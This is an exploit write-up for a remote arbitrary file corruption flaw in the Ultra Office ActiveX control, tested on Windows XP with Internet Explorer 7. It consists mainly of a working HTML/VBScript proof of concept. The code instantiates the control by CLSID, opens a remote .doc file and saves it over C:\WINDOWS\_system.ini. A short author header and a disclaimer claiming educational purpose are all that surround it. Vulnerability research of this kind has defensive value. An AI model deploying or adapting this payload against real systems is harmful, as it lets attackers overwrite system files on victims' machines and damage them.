Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

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    Ultra Office ActiveX Control Remote Arbitrary File Corruption
    url: http://www.ultrashareware.com
    Author: shinnai
    mail: shinnai[at]autistici[dot]org
    site: http://shinnai.altervista.org
    This was written for educational purpose. Use it at your own risk.
    Author will be not responsible for any damage.
    Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
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    <object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>
    <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
    <script language='vbscript'>
    Sub tryMe
     dim remURL
     remURL = "/uploads/202404/24/SomeFile2314.doc"
     test.Open remURL, True
     test.Save "C:\WINDOWS\_system.ini", True
    End Sub
    </script>